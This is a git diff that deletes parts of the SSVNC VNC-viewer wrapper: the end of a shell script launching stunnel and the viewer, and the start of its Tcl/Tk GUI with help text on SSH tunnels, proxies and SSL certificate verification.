-$STUNNEL_EXTRA_SVC_OPTS_USER
-
-END
-
-fi
-
-echo ""
-echo "Using this stunnel configuration:"
-echo ""
-cat "$tmp_cfg" | uniq
-echo ""
-if egrep -i '^[ ]*(CApath|CAfile) =' "$tmp_cfg" > /dev/null ; then
- :
-else
- echo "** WARNING: THE STUNNEL CONFIG HAS NO SERVER CERTIFICATE SPECIFIED **"
- echo "** WARNING: (the CApath or CAfile stunnel option) THE VNC SERVER WILL **"
- echo "** WARNING: NOT BE AUTHENTICATED. A MAN-IN-THE-MIDDLE ATTACK IS POSSIBLE **"
- echo ""
-fi
-sleep 1
-
-if [ "X$stunnel_exec" = "X" ]; then
- echo ""
- echo "Running stunnel:"
- echo "$STUNNEL $tmp_cfg"
- st=`echo "$STUNNEL" | awk '{print $1}'`
- $st -help > /dev/null 2>&1
- $STUNNEL "$tmp_cfg" < /dev/tty > /dev/tty &
- stunnel_pid=$!
- echo ""
-
- # pause here to let the user supply a possible passphrase for the
- # mycert key:
- if [ "X$mycert" != "X" ]; then
- nsl=10
- dsl=0
- if [ ! -f $mycert ]; then
- dsl=0
- elif grep -i 'Proc-Type.*ENCRYPTED' "$mycert" > /dev/null 2>/dev/null; then
- dsl=1
- fi
- if [ "X$dsl" = "X1" ]; then
- echo ""
- echo "(** pausing $nsl secs for possible certificate passphrase dialog **)"
- echo ""
- sleep $nsl
- echo "(** done pausing for passphrase **)"
- echo ""
- fi
- fi
- #echo T sleep 1
- sleep 1
- rm -f "$tmp_cfg"
-fi
-
-
-echo ""
-if [ "X$SSVNC_EXTRA_SLEEP" != "X" ]; then
- echo "sleep $SSVNC_EXTRA_SLEEP"
- sleep $SSVNC_EXTRA_SLEEP
-fi
-
-if [ "X$reverse" = "X" ]; then
- if [ "X$NEED_VENCRYPT_VIEWER_BRIDGE" = "X1" -a "X$ptmp" != "X" ] ; then
- port1=`expr 5900 + $N` # stunnel port
- port2=`findfree 5970` # bridge port (viewer connects to it.)
- N=`expr $port2 - 5900`
- env PPROXY_REMOVE=0 PPROXY_SLEEP=0 PPROXY_VENCRYPT_VIEWER_BRIDGE="$port2,$port1" $ptmp &
- sleep 1
- fi
- echo "Running viewer:"
- vnc_hp=$localhost:$N
- if [ "X$stunnel_exec" != "X" ]; then
- vnc_hp="exec=$STUNNEL $tmp_cfg"
- fi
- echo "$VNCVIEWERCMD" "$@" "$vnc_hp"
- trap "final" 0 2 15
- echo ""
- $VNCVIEWERCMD "$@" "$vnc_hp"
- if [ $? != 0 ]; then
- echo "vncviewer command failed: $?"
- if [ "X$secondtry" = "X1" ]; then
- sleep 2
- $VNCVIEWERCMD "$@" "$vnc_hp"
- fi
- fi
-else
- echo "Running viewer:"
- echo ""
- echo "NOTE: Press Ctrl-C to terminate viewer LISTEN mode."
- echo ""
- trap "final" 0 2 15
- N2=$N
- N2_trim=`echo "$N2" | sed -e 's/://g'`
- if [ $N2_trim -le 200 ]; then
- N2_trim=`expr $N2_trim + 5500`
- fi
- if [ "X$proxy" != "X" ]; then
- if echo "$proxy" | grep -i '^vencrypt:' > /dev/null; then
- pstunnel=`echo "$proxy" | awk -F: '{print $2}'`
- plisten=`echo "$proxy" | awk -F: '{print $3}'`
- IF=INADDR_ANY
- if [ "X$STUNNEL_LISTEN" != "X" ]; then
- IF=$STUNNEL_LISTEN
- fi
- PPROXY_VENCRYPT_REVERSE=1; export PPROXY_VENCRYPT_REVERSE
- PPROXY_LISTEN="$IF:$plisten"; export PPROXY_LISTEN
- PPROXY_PROXY="vencrypt://$localhost:$pstunnel"; export PPROXY_PROXY
- PPROXY_DEST="$localhost:$pstunnel"; export PPROXY_DEST
- STUNNEL_ONCE=1; export STUNNEL_ONCE
- STUNNEL_MAX_CLIENTS=1; export STUNNEL_MAX_CLIENTS
- if [ "X$NEED_VENCRYPT_VIEWER_BRIDGE" = "X1" -a "X$ptmp" != "X" ] ; then
- port1=`expr 5500 + $N2`
- port2=`findfree 5580`
- N2=`expr $port2 - 5500`
- N2_trim=`echo "$N2" | sed -e 's/://g'`
- if [ $N2_trim -le 200 ]; then
- N2_trim=`expr $N2_trim + 5500`
- fi
- if [ "X$SSVNC_LISTEN_ONCE" != "X1" ]; then
- PPROXY_LOOP_THYSELF=`mytmp "/tmp/pproxy_loop_thyself1.${RANDOM}.$$"`
- export PPROXY_LOOP_THYSELF
- PPROXY_LOOP_THYSELF0=$PPROXY_LOOP_THYSELF
- fi
- env PPROXY_REMOVE=0 PPROXY_SLEEP=0 PPROXY_VENCRYPT_VIEWER_BRIDGE="-$port1,$port2" $ptmp &
- sleep 1
- fi
- else
- PPROXY_REVERSE="$localhost:$port"; export PPROXY_REVERSE
- PPROXY_SLEEP=1; export PPROXY_SLEEP;
- fi
- PPROXY_KILLPID=+1; export PPROXY_KILLPID;
- if [ "X$SSVNC_LISTEN_ONCE" != "X1" ]; then
- PPROXY_LOOP_THYSELF=`mytmp "/tmp/pproxy_loop_thyself2.${RANDOM}.$$"`
- export PPROXY_LOOP_THYSELF
- fi
- $ptmp &
- # Important to have no extra pids generated between here and VNCVIEWERCMD
- fi
- if [ "X$VNCVIEWER_IS_REALVNC4" = "X1" ]; then
- N2=$N2_trim
- fi
- echo "$VNCVIEWERCMD" "$@" -listen $N2
- echo ""
- $VNCVIEWERCMD "$@" -listen $N2
-
- if [ "X$PPROXY_LOOP_THYSELF" != "X" ]; then
- rm -f $PPROXY_LOOP_THYSELF
- fi
- if [ "X$PPROXY_LOOP_THYSELF0" != "X" ]; then
- rm -f $PPROXY_LOOP_THYSELF0
- fi
-fi
-
-sleep 1
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl b/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl
deleted file mode 100755
index fefb143..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl
+++ /dev/null
@@ -1,19041 +0,0 @@
-#!/bin/sh
-# the next line restarts using wish \
-exec wish "$0" "$@"
-
-#
-# Copyright (c) 2006-2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# ssvnc.tcl: gui wrapper to the programs in this
-# package. Also sets up service port forwarding.
-#
-set version 1.0.28
-
-set buck_zero $argv0
-
-proc center_win {w} {
- global is_windows
- update
- set W [winfo screenwidth $w]
- set W [expr $W + 1]
- wm geometry $w +$W+0
- update
- set x [expr [winfo screenwidth $w]/2 - [winfo width $w]/2]
- set y [expr [winfo screenheight $w]/2 - [winfo height $w]/2]
-
- if {$is_windows} {
- set y [expr "$y - 30"]
- if {$y <= 0} {
- set y 1
- }
- }
- wm geometry $w +$x+$y
- wm deiconify $w
- update
-}
-
-proc small_height {} {
- set H [winfo screenheight .]
- if {$H < 700} {
- return 1
- } else {
- return 0
- }
-}
-
-proc mac_raise {} {
- global uname
- if {$uname == "Darwin"} {
- catch {exec /bin/sh -c {osascript -e 'tell application "Wish Shell" to activate' >/dev/null 2>&1 &}}
- after 150
- update
- update idletasks
- }
-}
-
-proc toplev {w} {
- catch {destroy $w}
- toplevel $w
- catch {wm withdraw $w}
-}
-
-proc apply_bg {w} {
- global is_windows system_button_face
- if {$is_windows && $system_button_face != ""} {
- catch {$w configure -bg "$system_button_face"}
- }
-}
-
-proc line_count {{str ""} {pad 0}} {
- set n $pad
- foreach l [split $str "\n"] {
- incr n
- }
- return $n
-}
-
-proc scroll_text {fr {w 80} {h 35}} {
- global help_font is_windows scroll_text_focus
-
- if {$h == 35 && [small_height]} {
- set h 28
- }
- catch {destroy $fr}
-
- frame $fr -bd 0
-
- eval text $fr.t -width $w -height $h $help_font \
- -setgrid 1 -bd 2 -yscrollcommand {"$fr.y set"} -relief ridge
-
- apply_bg $fr.t
-
- scrollbar $fr.y -orient v -relief sunken -command "$fr.t yview"
- pack $fr.y -side right -fill y
- pack $fr.t -side top -fill both -expand 1
-
- if {$scroll_text_focus} {
- focus $fr.t
- }
-}
-
-proc scroll_text_dismiss {fr {w 80} {h 35}} {
- global help_font
-
- if {$h == 35 && [small_height]} {
- set h 28
- }
- scroll_text $fr $w $h
-
- set up $fr
- regsub {\.[^.]*$} $up "" up
-
- button $up.d -text "Dismiss" -command "destroy $up"
- bind $up <Escape> "destroy $up"
- pack $up.d -side bottom -fill x
- pack $fr -side top -fill both -expand 1
-}
-
-proc jiggle_text {w} {
- global uname
- if {$uname == "Darwin"} {
- $w yview scroll 1 pages
- update idletasks
- $w yview scroll -1 pages
- update idletasks
- }
-}
-
-proc ts_help {} {
- toplev .h
-
- scroll_text_dismiss .h.f
-
- center_win .h
- wm title .h "Terminal Services VNC Viewer Help"
-
- set msg {
- Terminal Services:
-
- The Terminal Services VNC Viewer uses SSH to establish an encrypted
- and authenticated connection to the remote server.
-
- Through the SSH channel, it automatically starts x11vnc in terminal
- services mode on the remote server to find or create your desktop
- session. x11vnc is used for both the session management and the
- VNC transport.
-
- You MUST be able to log in via SSH to the remote terminal server.
- Ask your administrator to set this up for you if it isn't already.
- x11vnc must also be installed on the remote server machine.
- See "Requirements" below.
-
- This mode is started by the commands 'tsvnc' or 'ssvnc -ts' or
- toggled by pressing Ctrl-t. "SSVNC Mode" under Options -> Advanced
- will also return to the full SSVNC.
-
- Or in your ~/.ssvncrc (or ~/ssvnc_rc on Windows) put "mode=tsvnc"
- to have the tool always start up in that mode. To constrain the UI,
- run with -tso or SSVNC_TS_ALWAYS set to prevent leaving the Terminal
- Services mode.
-
-
- Hosts and Displays:
-
- Enter the remote VNC Terminal Services hostname in the
- 'VNC Terminal Server' entry.
-
- Examples:
-
- 24.67.132.27
- far-away.east
- fred@someplace.no
-
- Then click on "Connect".
-
- Once the SSH is running (you may need to type a password or accept
- a new ssh key in the terminal window that pops up), the VNC Viewer
- will be automatically started directed to the local port of the SSH
- tunnel which, in turn, encrypts and redirects the connection to the
- remote VNC server.
-
- x11vnc is run remotely to find or create your terminal services desktop
- session. It must be installed and accessible on the remote system.
-
- Enter "user@hostname.com" in 'VNC Terminal Server' if the remote
- username is different from the yours on this machine. On Windows
- you *MUST* supply the remote username due to a deficiency in Plink.
- This entry is passed to SSH; it could also be an SSH alias you have
- created (in ~/.ssh/config).
-
- If the remote SSH server is run on a non-standard port, e.g. 2222, use
- something like one of these:
-
- far-away.east:2222
- fred@someplace.no:2222
-
- (unlike SSVNC mode, the number is the SSH port, not the VNC display)
-
- If you find yourself in the unfortunate circumstance that your ssh
- username has a space in it, use %SPACE (or %TAB) like this:
-
- fred%SPACEflintstone@xyzzy.net
-
-
- Zeroconf/Bonjour:
-
- On Unix or Mac OS X, if the 'avahi-browse' or 'dns-sd' command is
- available on the system and in your PATH, a 'Find' button is placed by
- 'VNC Host:Display'. Clicking on Find will try to find VNC Servers
- on your Local Network that advertize via the Zeroconf protocol.
- A menu of found hosts is presented for you to select from.
-
-
- Profiles:
-
- Use "Save" to save a profile (i.e. a host:display and its specific
- settings) with a name. The "TS-" prefix will be suggested to help
- you distinguish between Terminal Services and regular profiles.
-
- To load in a saved Options profile, click on the "Load" button,
- and choose which one you want.
-
- To list your profiles from the command line use:
-
- tsvnc -profiles (or -list)
-
- To launch profile1 directly from the command-line, or to a server
- use things like:
-
- tsvnc profile1
- tsvnc /path/to/profile1.vnc
- tsvnc hostname
- tsvnc user@hostname
-
- Note that the 'Verify All Certs' setting is NOT saved in profiles.
-
-
- Proxies/Gateways:
-
- Proxy/Gateway is usually a gateway machine to log into via SSH that is
- not the machine running the VNC terminal services. However, Web and
- SOCKS proxies can also be used (see below).
-
- For example if a company had a central login server: "ssh.company.com"
- (accessible from the internet) and the internal server name was
- "ts-server", one could put in
-
- VNC Terminal Server: ts-server
- Proxy/Gateway: ssh.company.com
-
- It is OK if the hostname "ts-server" only resolves inside the firewall.
-
- The 2nd host, ts-server in this example, MUST also be running an SSH
- server and you must be able to log into it. You may need to supply
- a 2nd password to it to login.
-
- Use username@host (e.g. joe@ts-server or jsmith@ssh.company.com)
- if the user name differs between machines.
-
- NOTE: On Windows you MUST always supply the username@ because putty's
- plink requires it.
-
-
- NON-STANDARD SSH PORT: To use a non-standard ssh port (i.e. a port other
- than 22) you need to use the Proxy/Gateways as well. E.g. something
- like this for port 2222:
-
- VNC Terminal Server: ts-server
- Proxy/Gateway: jsmith@ssh.company.com:2222
-
- On Unix/MacOSX the username@ is not needed if it is the same as on this
- machine.
-
-
- A Web or SOCKS proxy can also be used. Use this if you are inside a
- firewall that prohibits direct connections to remote SSH servers.
- In Terminal Services SSH mode, the "http://" prefix is required for
- web proxies.
-
- VNC Terminal Server: fred@someplace.no
- Proxy/Gateway: http://myproxy.west:8080
-
- or for SOCKS:
-
- VNC Terminal Server: fred@someplace.no
- Proxy/Gateway: socks://mysocks.west:1080
-
- use socks5://... to force the SOCKS5 version. For a non-standard
- port the above would be, e.g., fred@someplace.no:2222
-
- As with a username that contains a space, use %SPACE (or %TAB) to
- indicate it in the SSH proxies, e.g. john%SPACEsmith@ssh.company.com
-
- One can also chain proxies and other things. See the section
- "SSH Proxies/Gateways" in the Main SSVNC Help for full details.
-
-
- Options:
-
- Click on Options to get to dialog boxes to:
-
- - Desktop Type (kde, gnome, failsafe, twm...)
- - Desktop Size (Geometry WxH and pixel depth)
- - X Server Type (Xvfb, Xdummy, Xvnc)
- - Enable Printing (CUPS and/or SMB/Windows)
- - Enable Sound (TBD, ESD partially working)
- - File Transfer (Ultra or TightVNC filexfer)
- - View Only (View only client)
- - Change VNC Viewer (Realvnc, ultra, etc...)
- - X11 viewer MacOSX (use bundled X11 vncviewer)
- - Delete Profile... (Delete a saved profile)
-
- - Advanced Options:
-
- - VNC Shared (optional traditional VNC sharing)
- - Multiple Sessions (more than 1 session per server)
- - X Login Greeter (Connect to Login/Greeter Display)
- - Other VNC Server (redirect to 3rd party VNC Server)
- - Use unixpw (optional x11vnc login mode)
- - Client 8bit Color (VNC Viewer requests low color mode)
- - Client-Side Caching (experimental x11vnc speedup)
- - X11VNC Options (set any extra x11vnc options)
- - Extra Sleep (delay a bit before starting viewer)
- - Putty Args (Windows: string for plink/putty cmd)
- - Putty Agent (Windows: launch pageant)
- - Putty Key-Gen (Windows: launch puttygen)
- - SSH Local Protections (a bit of safety on local side)
- - SSH KnownHosts file (to avoid SSH 'localhost' collisions)
- - SSVNC Mode (Return to full SSVNC mode)
-
- - Unix ssvncviewer (set options for supplied Unix viewer)
-
-
- Requirements:
-
- When running this application on Unix/MacOSX the ssh(1) program must
- be installed locally. On Windows a plink/putty binary is included.
-
- On the remote VNC Terminal Services host, x11vnc must be installed
- (0.9.3 or higher), and at least one virtual X server: Xvfb, Xdummy,
- or Xvnc must be available. Xvfb is the most often used one. All of
- these programs must be available in $PATH on the remote server when
- logged in via SSH.
-
- The VNC terminal services administrator can make "x11vnc" be a wrapper
- script that sets everything up correctly and then runs the real x11vnc.
-
-
- Real X servers:
-
- As a *BONUS*, if on the remote host, say a workstation, you have a
- regular X session running on the physical hardware that you are
- ALREADY logged into you can access to that display as well (x11vnc
- will find it).
-
- So this tool can be used as a simple way to launch x11vnc to find
- your real X display on your workstation and connect to it.
-
- The Printing and Sound redirection won't work for this mode however.
- You will need to use the full SSVNC application to attempt that.
-
- If you (mistakenly) have not logged into an X session on the real
- X server on the workstation, a VIRTUAL (Xvfb, etc.) server will be
- created for you (that may or may not be what you want).
-
- The X Login Advanced setting can be used to connect to a X Display
- Manger Greeter login panel (no one is logged in yet). This requires
- sudo(1) privileges on the remote machine.
-
- More Info:
-
- See these links for more information:
-
- http://www.karlrunge.com/x11vnc/#tunnelling
-}
-
- global version
- set msg " SSVNC version: $version\n$msg"
-
- .h.f.t insert end $msg
- jiggle_text .h.f.t
-}
-
-proc help {} {
- global ts_only
- if {$ts_only} {
- ts_help
- return
- }
- toplev .h
-
- set h 37
- if [small_height] {
- set h 26
- }
- scroll_text_dismiss .h.f 82 $h
-
- center_win .h
- wm title .h "SSL/SSH VNC Viewer Help"
-
- global help_main help_prox help_misc help_tips
-
- set help_main {
- Hosts and Displays:
-
- Enter the VNC host and display in the 'VNC Host:Display' entry box.
-
- It is of the form "host:number", where "host" is the hostname of the
- machine running the VNC Server and "number" is the VNC display number;
- it is often "0". Some Examples:
-
- snoopy:0
-
- far-away.east:0
-
- sunray-srv1.west:17
-
- 24.67.132.27:0
-
- Then click on "Connect". When you do the STUNNEL program will be started
- locally to provide you with an outgoing SSL tunnel.
-
- Once the STUNNEL is running, the TightVNC Viewer (Or perhaps Chicken of
- the VNC on Mac OS X, or one you set under Options) will be automatically
- started and directed to the local port of the SSL tunnel which, in turn,
- encrypts and redirects the connection to the remote VNC server.
-
- The remote VNC server **MUST** support an initial SSL/TLS handshake before
- using the VNC protocol (i.e. VNC is tunnelled through the SSL channel
- after it is established). "x11vnc -ssl ..." does this, and any VNC server
- can be made to do this by using, e.g., STUNNEL or socat on the remote side.
- SSVNC also supports VeNCrypt and ANONTLS SSL/TLS VNC servers (see below.)
-
- * Automatic SSH Tunnels are described below.
-
- * The 'No Encryption' / 'None' option provides a direct connection without
- encryption (disable the button with the -enc option, or Options menu.)
- More info in Tip 5.
-
- Port numbers:
-
- If you are using a port less than the default VNC port 5900 (usually
- the VNC display = port - 5900), use the full port number itself, e.g.:
-
- 24.67.132.27:443
-
- Note, however, if the number n after the colon is < 200, then a
- port number 5900 + n is assumed; i.e. n is the VNC display number.
- If you must use a TCP port less than 200, specify a negative value,
- e.g.: 24.67.132.27:-80
-
- For Reverse VNC connections (listening viewer, See Tip 2 and
- Options -> Help), the port mapping is similar, except "listening
- display :0" corresponds to port 5500, :1 to 5501, etc.
- Specify a specific interface, e.g. 192.168.1.1:0 to have stunnel
- listen on that interface only. Listening on IPv6 can also be done, use
- e.g. :::0 or ::1:0 This listening on IPv6 (:::0) works for UN-encrypted
- reverse connections as well (mode 'None').
-
-
- Zeroconf/Bonjour:
-
- On Unix or Mac OS X, if the 'avahi-browse' or 'dns-sd' command is
- available on the system and in your PATH, a 'Find' button is placed by
- 'VNC Host:Display'. Clicking on Find will try to find VNC Servers on
- your Local Network that advertize via the Zeroconf protocol. A menu of
- found hosts is presented for you to select from.
-
-
- VNC Password:
-
- On Unix or MacOSX IF there is a VNC password for the server you can
- enter it in the "VNC Password:" entry box.
-
- This is *REQUIRED* on MacOSX when Chicken of the VNC is used, because
- that viewer does not put up a user password prompt when it learns
- that a password is needed.
-
- On Unix (including MacOSX using the X11 viewer) if you choose not to
- enter the password you will simply be prompted for it in the terminal
- window running TightVNC viewer if one is required.
-
- On Windows TightVNC viewer will prompt you if a password is required.
-
- NOTE: when you Save a VNC profile, the password is NOT saved (you need
- to enter it each time). Nor is the 'Verify All Certs' setting.
-
-
- Profiles:
-
- Use "Save" to save a profile (i.e. a host:display and its specific
- settings) with a name.
-
- To load in a saved Options profile, click on the "Load" button.
-
- To list your profiles from the command line use:
-
- ssvnc -profiles (or -list)
-
- You can launch ssvnc and have it immediately connect to the server
- by invoking it something like this:
-
- ssvnc profile1 (launches profile named "profile1")
- ssvnc /path/to/profile.vnc (loads the profile file, no launching)
- ssvnc hostname:0 (connect to hostname VNC disp 0 via SSL)
- ssvnc vnc+ssl://hostname:0 (same)
- ssvnc vnc+ssh://hostname:0 (connect to hostname VNC disp 0 via SSH)
-
- see the Tips 5 and 7 for more about the URL-like syntax.
-
- If you don't want "ssvnc profile1" to immediately launch the connection
- to the VNC server set the SSVNC_PROFILE_LOADONLY env. var. to 1.
- (or specify the full path to the profile.vnc as shown above.)
-
-
- SSL Certificate Verification:
-
- *** IMPORTANT ***: If you do not take the steps to VERIFY the VNC Server's
- SSL Certificate, you are in principle vulnerable to a Man-In-The-Middle
- attack. Without SSL Certificate verification, only passive network
- sniffing attacks will be guaranteed to be prevented. There are hacker
- tools like dsniff/webmitm and cain that implement SSL Man-In-The-Middle
- attacks. They rely on the client user not bothering to check the cert.
-
- Some people may be confused by the above because they are familiar with
- their Web Browser using SSL (i.e. https://... websites) and those sites
- are authenticated securely without the user's need to verify anything
- manually. The reason why this happens automatically is because 1) their
- web browser comes with a bundle of Certificate Authority certificates
- and 2) the https sites have paid money to the Certificate Authorities to
- have their website certificate signed by them. When using SSL in VNC we
- normally do not do something this sophisticated, and so we have to verify
- the certificates manually. However, it is possible to use Certificate
- Authorities with SSVNC; that method is described below.
-
- You can use the "Fetch Cert" button to retrieve the Cert and then
- after you check it is OK (say, via comparing the MD5 or other info)
- you can "Save" it and use it to verify future connections to servers.
- (However, see the note at the end of this section about CA certificates.)
-
- When "Verify All Certs" is checked, this check is always enforced,
- and so the first time you connect to a new server you may need to
- follow a few dialogs to inspect and save the server certificate.
- See the "Certs... -> Help" for information on how to manage certificates.
-
- "Verify All Certs" is on by default.
-
- Note, however, "Fetch Cert" and "Verify All Certs" are currently disabled
- in the very rare "SSH + SSL" usage mode to avoid SSHing in twice.
- You can manually set a ServerCert or CertsDir in this case if you like.
-
-
- Advanced Method: Certificate Authority (CA):
-
- If you, or your site administrator, goes though the steps of setting up
- a Certificate Authority (CA) to sign the VNC server and/or VNC client
- Certs, that can be used instead and avoids the need to manually verify
- every cert while still authenticating every connection. More info:
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-ca
-
- See the cmdline option -cacert file below in 'SSL Certificates'
- for setting a default ServerCert/CA Cert.
-
- You may also Import the CA Cert and save it to the 'Accepted Certs'
- directory so the "Verify All Certs" automatic checking will find it.
-
- Note that if a Server is using a CA signed certificate instead of
- its own Self-Signed one, then the default "Verify All Certs/Fetch Cert"
- saving mechanism will NOT succeed. You must obtain the CA certificate
- and explicitly set it as the ServerCert or Import it to Accepted Certs.
-
-
- SSL/TLS Variants; VeNCrypt and ANONTLS:
-
- SSVNC can also connect to VNC SSL/TLS variants; namely the VeNCrypt and
- "TLS" VNC Security types. Vino uses the latter (we call it "ANONTLS");
- and a growing number use VeNCrypt (QEMU, ggi, virt-manager, VeNCrypt, Xen.)
-
- Via the VeNCrypt bridge that SSVNC provides, the VeNCrypt/ANONTLS
- support ALSO works with ANY 3rd party VNC Viewers you specify via
- 'Change VNC Viewer' (e.g. RealVNC, TightVNC, UltraVNC, etc.) that do
- not directly support VeNCrypt or ANONTLS. This works on all platforms:
- Unix, MacOSX, and Windows.
-
-
- Notes on VeNCrypt/ANONTLS Auto-detection:
-
- IMPORTANT: VeNCrypt Server Auto-detection *ONLY* occurs in SSL mode
- and when an initial fetch-cert action takes place.
-
- While the initial certificate fetch is taking place SSVNC applies
- heuristics to try to automatically detect the VeNCrypt or ANONTLS
- protocol use by the VNC server. This way it learns that the server
- is using it and then knows to switch to VeNCrypt encrypted SSL/TLS at
- the right point. Then SSVNC makes a second (the real) connection to
- VNC server and connects the VNC viewer to it.
-
- In the default "Verify All Certs" mode, a fetch cert action always
- takes place, and so VeNCrypt/ANONTLS will be autodected.
-
- However, if you have specified an explicit ServerCert or disabled
- "Verify All Certs" then even though the initial fetch cert action is no
- longer needed, it is performed anyway because it allows VeNCrypt/ANONTLS
- auto-detection.
-
- To disabled this initial fetch (e.g. you know the VNC server is normal
- SSL and not VeNCrypt/ANONTLS and want to connect more quickly) then
- select "Do not Probe for VeNCrypt" in the Advanced Options menu.
-
- On the other hand, if you know the VNC server ONLY supports VeNCrypt or
- ANONTLS, to improve the accuracy and speed with which the connection
- takes place, you can specify the one or both of the 'Server uses
- VeNCrypt SSL encryption' and 'Server uses Anonymous Diffie-Hellman'
- in the 'Advanced' options panel. That way guessing via an initial
- probe is not needed or performed. See each options's Advanced Options
- Help for more info.
-
- Note that if you are using VeNCrypt or ANONTLS for REVERSE connections
- (Listen) then you *MUST* set the 'Server uses VeNCrypt SSL encryption'
- (and the ANON-DH if it applies) option in Advanced. Note also that
- REVERSE VeNCrypt and ANONTLS connections currently do not work on
- Windows.
-
- Also, if you are using the "Use SSH+SSL" double tunnel, you MUST set
- 'Server uses VeNCrypt SSL encryption' (and the ANON-DH if it applies)
- because the initial fetch cert is disabled in SSH+SSL mode.
-
-
- Deciphering SSL Negotiation Success or Failure:
-
- Since SSVNC is a "glue program", in this case gluing VNCViewer and stunnel
- together (with possibly a proxy helper) reporting is clumsy at best.
- (In SSH encryption mode, it glues to ssh instead of stunnel.) In most
- cases the programs being "glued" are run in a terminal window where you
- can see the program's output. On Windows you will need to double click
- on the stunnel tray icon to view its log.
-
- Although the output is quite cryptic, you are encouraged to learn to
- recognize some of the errors reported in it.
-
- Here is stunnel output for a case of successfully verifying the VNC
- Server's Certificate:
-
- 2008.11.20 08:09:39 LOG5[1472]: VERIFY OK: depth=0, /C=AU/L=...
- 2008.11.20 08:09:39 LOG6[1472]: SSL connected: new session negotiated
- 2008.11.20 08:09:39 LOG6[1472]: Negotiated ciphers: AES256-SHA SSLv3 ...
-
- Here is a case where the Server's Cert did not match the ServerCert
- we set:
-
- 2008.11.20 08:12:31 LOG4[1662]: VERIFY ERROR: depth=0, error=self ...
- 2008.11.20 08:12:31 LOG3[1662]: SSL_connect: 14090086: error:14090086:SSL
- routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
-
- Here is a case where the Server's Cert has expired:
-
- 2009.12.27 12:20:25 LOG4[25500]: VERIFY ERROR: depth=0, error=certificate
- has expired: /C=AU/L=...
- 2009.12.27 12:20:25 LOG3[25500]: SSL_connect: 14090086: error:14090086:SSL
- routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
-
-
- If you disable "Verify All Certs" and do not supply a ServerCert,
- then there will be no 'VERIFY ...' in the output because the SSVNC
- stunnel accepts the server's cert without question (this is insecure.)
-
- Also in the output will be messages about whether the SSL VNC server
- rejected your connection because it requires you to authenticate
- yourself with a certificate (MyCert). Here is the case when you
- supplied no MyCert:
-
- 2008.11.20 08:16:29 LOG3[1746]: SSL_connect: 14094410: error:14094410:
- SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure
-
- or you used a certificate the server did not recognize:
-
- 2008.11.20 08:18:46 LOG3[1782]: SSL_connect: 14094412: error:14094412:
- SSL routines:SSL3_READ_BYTES:sslv3 alert bad certificate
-
- or your certificate has been revoked:
-
- 2008.11.20 08:20:08 LOG3[1913]: SSL_connect: 14094414: error:14094414:
- SSL routines:SSL3_READ_BYTES:sslv3 alert certificate revoked
-
-
- SSH:
-
- Click on "Use SSH" if you want to use an *SSH* tunnel instead of SSL
- (then the VNC Server does not need to speak SSL or use STUNNEL or socat).
-
- You will need to be able to login to your account on the remote host
- via SSH (e.g. via password, ssh keys, or ssh-agent).
-
- Specify the SSH hostname and VNC display in the VNC Host:Display entry.
- Use something like:
-
- username@far-away.east:0
-
- if your remote username is different from the one on the local viewer
- machine.
-
- On Windows you *MUST* supply the "username@" part because Putty/Plink
- needs it to work correctly.
-
- "SSH + SSL" is similar but its use is more rare because it requires 2
- encrypted tunnels to reach the VNC server. See the Help under Options
- for more info.
-
- To connect to a non-standard SSH port, see SSH Proxies/Gateways section.
-
- See Tip 8) for how to make this application be SSH-only with the -ssh
- command line option or "sshvnc".
-
- If you find yourself in the unfortunate circumstance that your ssh
- username has a space in it, use %SPACE (or %TAB) like this:
-
- fred%SPACEflintstone@xyzzy.net:0
-
- Remote SSH Command:
-
- In SSH or SSH + SSL mode you can also specify a remote command to run
- on the remote ssh host in the "Remote SSH Command" entry. The default
- is just to sleep a bit (e.g. sleep 15) to make sure the tunnel ports
- are established. Alternatively you could have the remote command start
- the VNC server, e.g.
-
- x11vnc -display :0 -rfbport 5900 -localhost -nopw
-
- When starting the VNC server this way, note that sometimes you will need
- to correlate the VNC Display number with the "-rfbport" (or similar)
- option of the server. E.g. for VNC display :2
-
- VNC Host:Display username@somehost.com:2
- Remote SSH Command: x11vnc -find -rfbport 5902 -nopw
-
- See the Tip 18) for using x11vnc PORT=NNNN feature (or vncserver(1)
- output) to not need to specify the VNC display number or the x11vnc
- -rfbport option.
-
- Windows SSH SERVER: if you are ssh'ing INTO Windows (e.g. CYGWIN SSHD
- server) there may be no "sleep" command so put in something like
- "ping localhost" or "ping -n 10 -w 1000 localhost" to set a short
- delay to let the tunnel ports get established.
-
-
- SSL Certificates:
-
- If you want to use a SSL Certificate (PEM) file to authenticate YOURSELF to
- the VNC server ("MyCert") and/or to verify the identity of the VNC Server
- ("ServerCert" or "CertsDir") select the certificate file by clicking the
- "Certs ..." button before connecting.
-
- Certificate verification is needed to prevent Man-In-The-Middle attacks;
- if it is not done then only passive network sniffing attacks are prevented.
- There are hacker tools like dsniff/webmitm and cain that implement SSL
- Man-In-The-Middle attacks. They rely on the client user not bothering to
- check the cert.
-
-
- See the x11vnc documentation:
-
- http://www.karlrunge.com/x11vnc/ssl.html
-
- for how to create and use PEM SSL certificate files. An easy way is:
-
- x11vnc -ssl SAVE ...
-
- where it will print out its automatically generated certificate to the
- screen and that can be copied safely to the viewer side.
-
- You can also use the "Create Certificate" feature of this program under
- "Certs ...". Just click on it and follow the instructions in the dialog.
- Then copy the cert file to the VNC Server and specify the other one in
- the "Certs ..." dialog.
-
- Alternatively you can use the "Import Certificate" action to paste in a
- certificate or read one in from a file. Or you can use the "Fetch Cert"
- button on the main panel. If "Verify All Certs" is checked, you will
- be forced to check Certs of any new servers the first time you connect.
-
- Note that "Verify All Certs" is on by default so that users who do not
- understand the SSL Man-In-The-Middle problem will not be left completely
- vulnerable to it (everyone still must make the effort to verify new
- certificates by an external method to be completely safe).
-
- To have "Verify All Certs" toggled off at startup, use "ssvnc -nv" or
- set SSVNC_NO_VERIFY_ALL=1 before starting. If you do not even want to
- see the button, use "ssvnc -nvb" or SSVNC_NO_VERIFY_ALL_BUTTON=1.
-
- Use the "-mycert file" option (same as "-cert file") to set a default
- MyCert. This is the same as "mycert=file" (also "cert=file") in the
- ~/.ssvncrc file. See Certs -> Help for more info.
-
